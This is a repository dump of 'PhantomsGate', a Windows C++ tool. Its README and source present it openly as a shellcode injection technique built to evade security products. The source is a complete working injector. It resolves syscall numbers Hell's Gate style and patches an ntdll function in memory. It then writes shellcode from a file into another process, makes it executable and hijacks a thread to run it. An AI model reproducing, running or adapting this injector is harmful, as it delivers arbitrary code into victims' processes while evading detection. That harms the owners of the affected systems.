├── PhantomsGate
├── PhantomsGate.vcxproj.user
├── PhantomsGate.vcxproj.filters
├── PhantomsGate.vcxproj
└── PhantomsGate.cpp
├── PhantomsGate.sln
└── README.md
/PhantomsGate/PhantomsGate.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/PhantomsGate/PhantomsGate.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/PhantomsGate.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.5.33530.505
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LiesGate5", "LiesGate5\LiesGate5.vcxproj", "{E4D62920-BC79-4896-8604-36812C6690CE}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x64.ActiveCfg = Debug|x64
17 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x64.Build.0 = Debug|x64
18 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x86.ActiveCfg = Debug|Win32
19 | {E4D62920-BC79-4896-8604-36812C6690CE}.Debug|x86.Build.0 = Debug|Win32
20 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x64.ActiveCfg = Release|x64
21 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x64.Build.0 = Release|x64
22 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x86.ActiveCfg = Release|Win32
23 | {E4D62920-BC79-4896-8604-36812C6690CE}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3444F8E3-0F6B-4259-8000-A5EE3FED909F}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PhantomsGate: Advanced Shellcode Injection Technique
2 |
3 | ## Introduction
4 |
5 | PhantomsGate is a sophisticated shellcode injection technique that leverages Hell's Gate to dynamically find syscall numbers, modifies system calls, and uses thread hijacking to inject and execute shellcode within a target process. This technique is designed to evade detection and bypass security mechanisms by dynamically resolving syscall numbers and executing shellcode in the context of existing threads.
6 |
7 | ## PhantomGate: Enhanced LiesGate Technique
8 |
9 | PhantomGate is an improvement over LiesGate, adding the ability to dynamically modify functions to use different syscall numbers, set hardware breakpoints, and update registers. This enhanced method provides additional stealth and flexibility, making it even more effective in evading detection.
10 |
11 | ## Features
12 |
13 | - **Dynamic Syscall Resolution (Hell's Gate)**: Finds syscall numbers dynamically by analyzing function bytes in `ntdll.dll`.
14 | - **Function Modification**: Modifies functions to use different syscall numbers.
15 | - **Thread Hijacking**: Suspends and resumes threads to execute shellcode.
16 | - **Hardware Breakpoints**: Sets hardware breakpoints on functions for additional control.
17 | - **Register Updates**: Updates registers and continues execution seamlessly.
18 |
19 | ## Requirements
20 |
21 | - Windows OS
22 | - Visual Studio or a compatible C++ compiler
23 | - Administrative privileges for process and thread manipulation
24 |
25 | ## How It Works
26 |
27 | 1. **Dynamic Syscall Resolution**: The `FindSyscallNumber` function parses the bytes of a function in `ntdll.dll` to find the syscall number.
28 | 2. **Function Modification**: The `ModifyFunctionToSyscall` function modifies the first few bytes of a function to directly invoke a syscall with a specified syscall number.
29 | 3. **Loading Shellcode**: Shellcode is read from a binary file and written into the target process's memory.
30 | 4. **Memory Protection**: Changes the memory protection of the allocated shellcode region to `PAGE_EXECUTE_READ`.
31 | 5. **Thread Hijacking**: Takes a snapshot of the target process's threads, finds a thread, suspends it, modifies its context to point to the shellcode, and resumes it.
32 | 6. **Hardware Breakpoints**: Sets a hardware breakpoint on the modified function for additional control.
33 |
34 | ## Usage
35 |
36 | 1. **Compile the Code**: Use Visual Studio or a compatible C++ compiler to compile the code.
37 | 2. **Run the Program**: Execute the compiled binary with administrative privileges, specifying the target process ID and the shellcode file.
38 |
39 | ## License
40 |
41 | This project is licensed under the MIT License.
42 |
43 | ### Based Techniques On
44 | 1. LiesGate Implementation [https://github.com/CyberSecurityUP/LiesGate]
45 | 2. MutationsGate Implementation [https://github.com/senzee1984/MutationGate]
46 | 3. HellsGate [https://github.com/am0nsec/HellsGate]
47 |
--------------------------------------------------------------------------------
/PhantomsGate/PhantomsGate.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {e4d62920-bc79-4896-8604-36812c6690ce}
25 | LiesGate5
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/PhantomsGate/PhantomsGate.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include // Added for thread snapshot functions
8 |
9 | // Ensure these are not redefined
10 | #undef _PEB
11 | #undef _PROCESS_BASIC_INFORMATION
12 | #undef _OSVERSIONINFOEXW
13 |
14 | typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
15 | HANDLE ProcessHandle,
16 | PROCESSINFOCLASS ProcessInformationClass,
17 | PVOID ProcessInformation,
18 | ULONG ProcessInformationLength,
19 | PULONG ReturnLength
20 | );
21 |
22 | typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(
23 | HANDLE ProcessHandle,
24 | PVOID* BaseAddress,
25 | PSIZE_T RegionSize,
26 | ULONG NewProtect,
27 | PULONG OldProtect
28 | );
29 |
30 | // Function to find the syscall number using Hell's Gate
31 | DWORD FindSyscallNumber(LPCSTR functionName) {
32 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
33 | FARPROC funcAddr = GetProcAddress(hNtdll, functionName);
34 | BYTE* pFunction = (BYTE*)funcAddr;
35 |
36 | for (int i = 0; i < 0x20; i++) {
37 | if (pFunction[i] == 0x0F && pFunction[i + 1] == 0x05) { // Look for "syscall"
38 | DWORD ssn = *(DWORD*)(pFunction + i - 4); // The syscall number is 4 bytes before
39 | return ssn;
40 | }
41 | }
42 | return 0;
43 | }
44 |
45 | bool ModifyFunctionToSyscall(DWORD ssn, FARPROC funcAddr) {
46 | BYTE* pFunction = reinterpret_cast(funcAddr);
47 | DWORD oldProtect;
48 |
49 | if (VirtualProtect(pFunction, 10, PAGE_READWRITE, &oldProtect)) {
50 | pFunction[0] = 0xB8;
51 | *reinterpret_cast(&pFunction[1]) = ssn;
52 | pFunction[5] = 0x0F;
53 | pFunction[6] = 0x05;
54 | pFunction[7] = 0xC3;
55 |
56 | VirtualProtect(pFunction, 10, PAGE_EXECUTE_READ, &oldProtect);
57 | return true;
58 | }
59 | return false;
60 | }
61 |
62 | bool VerifyModification(FARPROC funcAddr, DWORD expectedSSN) {
63 | BYTE* pFunction = reinterpret_cast(funcAddr);
64 | DWORD ssn = *reinterpret_cast(&pFunction[1]);
65 | return pFunction[0] == 0xB8 && ssn == expectedSSN;
66 | }
67 |
68 | DWORD GetCurrentSSN(FARPROC funcAddr) {
69 | BYTE* pFunction = reinterpret_cast(funcAddr);
70 | return *reinterpret_cast(&pFunction[1]);
71 | }
72 |
73 | void SetHardwareBreakpoint(FARPROC funcAddr, DWORD registerIndex) {
74 | CONTEXT ctx = {};
75 | ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
76 |
77 | HANDLE hThread = GetCurrentThread();
78 | GetThreadContext(hThread, &ctx);
79 |
80 | (&ctx.Dr0)[registerIndex] = (DWORD_PTR)funcAddr;
81 |
82 | ctx.Dr7 |= (1 << (2 * registerIndex));
83 |
84 | SetThreadContext(hThread, &ctx);
85 | }
86 |
87 | void UpdateRAXandContinue(FARPROC funcAddr, DWORD newSSN) {
88 | CONTEXT ctx = {};
89 | ctx.ContextFlags = CONTEXT_CONTROL;
90 |
91 | HANDLE hThread = GetCurrentThread();
92 | GetThreadContext(hThread, &ctx);
93 |
94 | ctx.Rax = newSSN;
95 |
96 | ctx.Rip = (DWORD_PTR)funcAddr + 0x8;
97 |
98 | SetThreadContext(hThread, &ctx);
99 | }
100 |
101 | int main() {
102 | DWORD targetPID = 1608; // Replace with the PID of the process you want to inject
103 |
104 | // Using Hell's Gate to find the SSN of NtAllocateVirtualMemory
105 | DWORD ssnNtAllocateVirtualMemory = FindSyscallNumber("NtAllocateVirtualMemory");
106 | DWORD ssnNtDrawText = FindSyscallNumber("NtDrawText");
107 |
108 | std::cout << "SSN of NtAllocateVirtualMemory: " << ssnNtAllocateVirtualMemory << std::endl;
109 | std::cout << "SSN of NtDrawText: " << ssnNtDrawText << std::endl;
110 |
111 | FARPROC addrNtDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");
112 | std::cout << "Address of NtDrawText: " << addrNtDrawText << std::endl;
113 |
114 | if (addrNtDrawText != nullptr) {
115 | if (ModifyFunctionToSyscall(ssnNtAllocateVirtualMemory, addrNtDrawText) &&
116 | VerifyModification(addrNtDrawText, ssnNtAllocateVirtualMemory)) {
117 | std::cout << "NtDrawText was successfully modified to use the SSN of NtAllocateVirtualMemory!" << std::endl;
118 | DWORD currentSSN = GetCurrentSSN(addrNtDrawText);
119 | std::cout << "The new SSN of NtDrawText is: " << currentSSN << std::endl;
120 | }
121 | else {
122 | std::cout << "Failed to modify NtDrawText to use the SSN of NtAllocateVirtualMemory" << std::endl;
123 | }
124 | }
125 |
126 | // Load shellcode from a file
127 | std::ifstream shellcodeFile("loader.bin", std::ios::binary | std::ios::ate);
128 | if (!shellcodeFile.is_open()) {
129 | std::cerr << "Failed to open shellcode file." << std::endl;
130 | return 1;
131 | }
132 |
133 | std::streamsize fileSize = shellcodeFile.tellg();
134 | shellcodeFile.seekg(0, std::ios::beg);
135 |
136 | std::vector shellcode(fileSize);
137 | if (!shellcodeFile.read(shellcode.data(), fileSize)) {
138 | std::cerr << "Failed to read the shellcode from file." << std::endl;
139 | return 1;
140 | }
141 |
142 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
143 | typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory)(
144 | HANDLE ProcessHandle,
145 | PVOID* BaseAddress,
146 | ULONG_PTR ZeroBits,
147 | PSIZE_T RegionSize,
148 | ULONG AllocationType,
149 | ULONG Protect
150 | );
151 |
152 | typedef NTSTATUS(NTAPI* pfnNtProtectVirtualMemory)(
153 | HANDLE ProcessHandle,
154 | PVOID* BaseAddress,
155 | PSIZE_T RegionSize,
156 | ULONG NewProtect,
157 | PULONG OldProtect
158 | );
159 |
160 | pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
161 | pfnNtProtectVirtualMemory NtProtectVirtualMemory = (pfnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
162 |
163 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
164 | if (hProcess == NULL) {
165 | std::cerr << "Failed to open process: " << GetLastError() << std::endl;
166 | return 1;
167 | }
168 |
169 | PVOID remoteMemory = nullptr;
170 | SIZE_T shellcodeSize = shellcode.size();
171 | NTSTATUS allocStatus = NtAllocateVirtualMemory(hProcess, &remoteMemory, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
172 |
173 | if (allocStatus != STATUS_SUCCESS) {
174 | std::cerr << "Memory allocation failed: " << allocStatus << std::endl;
175 | CloseHandle(hProcess);
176 | return 1;
177 | }
178 |
179 | SIZE_T written;
180 | if (!WriteProcessMemory(hProcess, remoteMemory, shellcode.data(), shellcodeSize, &written)) {
181 | std::cerr << "Failed to write shellcode: " << GetLastError() << std::endl;
182 | CloseHandle(hProcess);
183 | return 1;
184 | }
185 |
186 | DWORD oldProtect;
187 | NTSTATUS protectStatus = NtProtectVirtualMemory(hProcess, &remoteMemory, &shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
188 | if (protectStatus != STATUS_SUCCESS) {
189 | std::cerr << "Failed to change memory protection: " << protectStatus << std::endl;
190 | CloseHandle(hProcess);
191 | return 1;
192 | }
193 |
194 | HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
195 | if (hThreadSnap == INVALID_HANDLE_VALUE) {
196 | std::cerr << "CreateToolhelp32Snapshot (of threads) failed" << std::endl;
197 | return 1;
198 | }
199 |
200 | THREADENTRY32 te32;
201 | te32.dwSize = sizeof(THREADENTRY32);
202 |
203 | if (!Thread32First(hThreadSnap, &te32)) {
204 | std::cerr << "Thread32First failed" << std::endl;
205 | CloseHandle(hThreadSnap);
206 | return 1;
207 | }
208 |
209 | HANDLE hThread = NULL;
210 | do {
211 | if (te32.th32OwnerProcessID == targetPID) {
212 | hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
213 | if (hThread) break;
214 | }
215 | } while (Thread32Next(hThreadSnap, &te32));
216 |
217 | CloseHandle(hThreadSnap);
218 |
219 | if (hThread == NULL) {
220 | std::cerr << "Failed to open thread" << std::endl;
221 | CloseHandle(hProcess);
222 | return 1;
223 | }
224 |
225 | SuspendThread(hThread);
226 |
227 | CONTEXT ctx;
228 | ctx.ContextFlags = CONTEXT_FULL;
229 | GetThreadContext(hThread, &ctx);
230 |
231 | ctx.Rip = (DWORD_PTR)remoteMemory;
232 |
233 | SetThreadContext(hThread, &ctx);
234 | ResumeThread(hThread);
235 |
236 | WaitForSingleObject(hThread, INFINITE);
237 | CloseHandle(hProcess);
238 | CloseHandle(hThread);
239 |
240 | if (addrNtDrawText != nullptr) {
241 | if (ModifyFunctionToSyscall(ssnNtAllocateVirtualMemory, addrNtDrawText) &&
242 | VerifyModification(addrNtDrawText, ssnNtAllocateVirtualMemory)) {
243 | DWORD currentSSN = GetCurrentSSN(addrNtDrawText);
244 | std::cout << "The new SSN of NtDrawText is: " << currentSSN << std::endl;
245 | std::cout << "NtDrawText was successfully modified to use the SSN of NtAllocateVirtualMemory!" << std::endl;
246 | SetHardwareBreakpoint(addrNtDrawText, 0);
247 | typedef void (*FuncType)();
248 | FuncType callNtDrawText = (FuncType)addrNtDrawText;
249 | callNtDrawText();
250 |
251 | UpdateRAXandContinue(addrNtDrawText, ssnNtAllocateVirtualMemory);
252 | }
253 | else {
254 | std::cout << "Failed to modify NtDrawText." << std::endl;
255 | }
256 | }
257 |
258 | return 0;
259 | }
260 |
--------------------------------------------------------------------------------